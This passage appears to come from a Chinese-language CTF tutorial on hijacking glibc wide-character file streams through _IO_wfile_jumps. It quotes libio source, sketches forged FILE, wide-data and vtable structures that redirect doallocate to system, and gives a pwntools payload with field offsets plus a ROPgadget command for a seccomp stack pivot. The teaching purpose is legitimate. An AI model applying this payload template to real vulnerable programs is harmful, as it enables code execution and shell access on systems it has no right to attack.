if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush(f) == EOF)
return WEOF;
return wch;
}
libc_hidden_def(_IO_wfile_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
// /libio/wgenops.c

void _IO_wdoallocbuf(FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED)) // 0x0002
if ((wint_t)***_IO_WDOALLOCATE(fp)*** != WEOF)
return;
_IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def(_IO_wdoallocbuf)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// /libio/libioP.h

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

...

//

#define _IO_WDOALLOCATE(FP) (*(FP)->_wide_data->_wide_vtable->doallocate) (FP)
  • C示意代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    struct _IO_FILE_plus
    {
    struct _IO_FILE
    {
    int _flags = 0x68732020;
    char *_IO_write_base = 0;
    char *_IO_write_ptr = 1;
    _IO_lock_t *_lock; // 可写地址,且为0
    struct _IO_wide_data *_wide_data = &fake_wide_data;
    int _mode = 1;
    const struct _IO_jump_t *vtable = &_IO_wfile_jumps;
    } file;
    };

    struct _IO_wide_data
    {
    wchar_t *_IO_write_ptr = 1;
    wchar_t *_IO_buf_base = 0;
    const struct _IO_jump_t *_wide_vtable = &fake_wide_vtabe;
    } fake_wide_data;

    struct _IO_jump_t
    {
    JUMP_INIT(doallocate, system);
    } fake_wide_vtabe;
  • Python代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    file_payload = flat({
    0x00: b" sh\x00",
    0x20: 0,
    0x28: 1,
    0x88: lock_addr,
    0xa0: fake_wide_data_addr,
    0xc0: 1,
    0xd8: wfile_jumps_addr
    }, filler=b'\x00', length=0xe0)

    wide_data_payload = flat({
    0x18: 0,
    0x20: 1,
    0x30: 0,
    0xe0: fake_wide_vtable_addr
    }, filler=b'\x00', length=0xe8)

    wide_vtable_payload = flat({
    0x68: system_addr
    }, filler=b'\x00', length=0x70)

如果程序开启了seccomp,则需要进行rop链的调用,而不能直接调用system函数。此时doallocate需要被代替为Magic gadget进行调用setcontext从而完成栈迁移。

由于高版本使用setcontext需要能够控制rdx,因此最好使用以下命令寻找Magic gadget作为过渡。

1
ROPgadget --binary libc.so.6 | grep " mov rdx, qword ptr \[rdi" | grep "call qword ptr \[rdx"

_IO_wfile_jumps→